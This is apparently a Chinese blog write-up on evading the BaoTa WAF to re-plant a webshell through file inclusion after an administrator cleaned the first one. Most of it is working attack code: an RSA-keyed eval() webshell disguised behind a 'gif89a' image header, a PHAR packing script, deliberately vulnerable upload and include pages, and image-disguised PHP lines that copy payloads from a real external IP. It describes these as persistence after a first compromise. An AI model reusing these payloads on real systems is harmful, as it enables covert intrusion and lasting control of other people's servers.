宝塔 WAF 绕过与 WebShell 再植入

摘要:在目标站点部署宝塔 WAF 的情况下,初始 WebShell 被管理员清除后,通过分析 WAF 规则与上传逻辑,利用混淆与文件包含绕过检测,实现 WebShell 再植入与稳定权限维持,成功重新获得站点控制权,在第一次getshell的时候,已经预留了文件包含后门

环境复现

  1. 安装宝塔面板
1
wget -O install_panel.sh https://download.bt.cn/install/install_panel.sh && sudo bash install_panel.sh ed8484bec
  1. 安装lnmp

  2. 安装Nginx免费防火墙

  3. 添加站点192.168.23.139

  4. 部署upload.phpinclude.php

    upload.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    <?php
    // 安全文件上传示例
    // 适用场景:图片/文档上传

    error_reporting(E_ALL);
    ini_set('display_errors', 1);

    // 配置
    $upload_dir = __DIR__ . '/uploads/'; // 存储目录(可放在网站根目录外)
    $max_size = 5 * 1024 * 1024; // 5MB
    $allowed_ext = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'gz']; // 允许扩展
    $allowed_mime = [
    'image/jpeg',
    'image/png',
    'image/gif',
    'application/pdf'
    ];

    // 确保上传目录存在
    if (!is_dir($upload_dir)) {
    mkdir($upload_dir, 0755, true);
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_FILES['file'])) {
    echo "没有检测到文件。";
    exit;
    }

    $file = $_FILES['file'];

    // 检查上传错误
    if ($file['error'] !== UPLOAD_ERR_OK) {
    echo "上传错误代码:" . $file['error'];
    exit;
    }

    // 检查大小
    if ($file['size'] > $max_size) {
    echo "文件过大,限制为 " . ($max_size / 1024 / 1024) . " MB。";
    exit;
    }

    // 检查扩展名
    $ext = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (!in_array($ext, $allowed_ext, true)) {
    echo "不允许的文件类型。";
    exit;
    }

    // 检查 MIME 类型
    // $finfo = new finfo(FILEINFO_MIME_TYPE);
    // $mime = $finfo->file($file['tmp_name']);
    // if (!in_array($mime, $allowed_mime, true)) {
    // echo "文件 MIME 类型不被允许。";
    // exit;
    // }
    $mime = $file['type'];
    if (!in_array($mime, $allowed_mime, true)) {
    echo "文件 MIME 类型不被允许。";
    exit;
    }

    // 生成随机文件名
    $new_name = bin2hex(random_bytes(16)) . '.' . $ext;
    $target = $upload_dir . $new_name;

    // 保存文件
    if (move_uploaded_file($file['tmp_name'], $target)) {
    echo "上传成功!文件已保存为:" . htmlspecialchars($new_name);
    } else {
    echo "文件保存失败。";
    }
    }
    ?>

    <!-- 上传表单 -->
    <!doctype html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>文件上传</title>
    </head>
    <body>
    <h1>上传文件</h1>
    <form method="post" enctype="multipart/form-data">
    选择文件:<input type="file" name="file" required>
    <button type="submit">上传</button>
    </form>
    </body>
    </html>

    include.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    // 这是一个专门用来学习文件包含漏洞的靶场示例
    // 千万不要在真实服务器上用!

    $page = $_GET['file'] ?? 'includes/header.php';
    include($page); // 漏洞点

    echo "<p>Main content of the page.</p>";

    include('includes/footer.php');

漏洞利用

方法1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
// ============================
// PHAR 打包示例脚本
// 仅用于靶场测试/学习环境
// ============================

// 关闭只读模式,否则无法生成 PHAR
ini_set('phar.readonly', 0);

// 生成的 PHAR 文件名(可改为 shell.phar 或其他)
$pharFile = __DIR__ . '/test.phar';

// 如果文件已存在,先删除
if (file_exists($pharFile)) {
unlink($pharFile);
}

// 创建 PHAR 对象
$phar = new Phar($pharFile);

// 打包目录:将这个目录下的所有文件打包进 PHAR
$sourceDir = __DIR__ . './src'; // 假设 src 目录下有你要打包的 PHP 文件
$phar->buildFromDirectory($sourceDir);

// 设置入口文件(stub),即 include PHAR 时执行的文件
$phar->setStub($phar->createDefaultStub('index.php'));

// 可选:压缩 PHAR 内部文件(None / GZ / BZ2)
$phar->compressFiles(Phar::GZ); // 使用 GZ 压缩

echo "PHAR 文件生成完成: $pharFile\n";

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gif89a <?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCWg4Yv+rwuqau9pS3wKCrpzxny
c66WptRSAqB166HZgYYXHOKNYEMiUPTdJKuuE7ZnTBG9A6a+oNf8w0xNyIu2vOQI
uNBvkoP5Vf+1egsLvMoyQufXajHgc88Dwf8yvIYxJ2tb/Qh1kzJxy9zXPOL1rLfr
KPl91y263kk70QZUiwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);
  1. phar打包后,gz压缩

    1
    2
    3
    4
    ├── phar.php
    |
    └── src
    └── index.php
  2. 上传test.phar.gz压缩包,也可以上传到自己的服务器上等待拉取

    image-20250814171751142

  3. 上传一个辅助文件,用以把27efb802dc38195ced9ab5fe853caea3.gz重命名为xxx.phar.xx

    1.gif

    1
    2
    3
    gif89a
    <?=(`rename`)("./uploads/6d3cf030d028eedc275180222a1cedc8.gz","./test.phar.gz");//aaa
    //<?=('copy')("http://8.217.238.251/test.phar.gz","test.phar.gz");//aaa

    image-20250814172807271

  4. 文件包含

    这个时候已经开始报错了,原因是: copy() 可以用,是因为它是 纯 PHP 内置函数,而你之前尝试的 rename 或反引号方式 要么语法错,要么依赖 shell

    gif89a Fatal error: Uncaught Error: Call to undefined function shell_exec() in /www/wwwroot/192.168.23.139/uploads/2f9568cab9f3267984be16383b2f4a7c.gif:1 Stack trace: #0 /www/wwwroot/192.168.23.139/include.php(6): include() #1 {main} thrown in /www/wwwroot/192.168.23.139/uploads/2f9568cab9f3267984be16383b2f4a7c.gif on line 1

    但宝塔waf,似乎并没有过滤 rename ,于是 1.git

    1
    2
    3
    gif89a
    <?=rename("./uploads/6d3cf030d028eedc275180222a1cedc8.gz","./test.phar.gz");//aaa
    //<?=('copy')("http://8.217.238.251/test.phar.gz","test.phar.gz");//aaa

    成功include

    copy 是完全可以的

  5. 蚁剑 webshell 连接

    image-20250814174246343

方法2

  1. 部署远程8.217.238.251的webshell文件,在需要时拉取到目标服务器

    • 1.gif
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    gif89a <?php
    $cmd = @$_POST['ant'];
    $pk = <<<EOF
    -----BEGIN PUBLIC KEY-----
    MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCWg4Yv+rwuqau9pS3wKCrpzxny
    c66WptRSAqB166HZgYYXHOKNYEMiUPTdJKuuE7ZnTBG9A6a+oNf8w0xNyIu2vOQI
    uNBvkoP5Vf+1egsLvMoyQufXajHgc88Dwf8yvIYxJ2tb/Qh1kzJxy9zXPOL1rLfr
    KPl91y263kk70QZUiwIDAQAB
    -----END PUBLIC KEY-----
    EOF;
    $cmds = explode("|", $cmd);
    $pk = openssl_pkey_get_public($pk);
    $cmd = '';
    foreach ($cmds as $value) {
    if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
    }
    }
    eval($cmd);
    • 也可以直接上传方法1中的 test.phar.tar
  2. 上传的 “个人头像” 等

    1.gif

    1
    2
    3
    gif89a
    <?=('copy')("http://8.217.238.251/1.gif","1.gif");//user
    //<?=('copy')("http://8.217.238.251/test.phar.gz","test.phar.gz");//user

    image-20250814160131361

  3. 文件包含

    1
    include.php?file=./uploads/b3981476264707e0e0f40d9da2200ae8.gif

    image-20250814160258143

  4. 尝试远程连接

    image-20250814160634586

    image-20250814160706837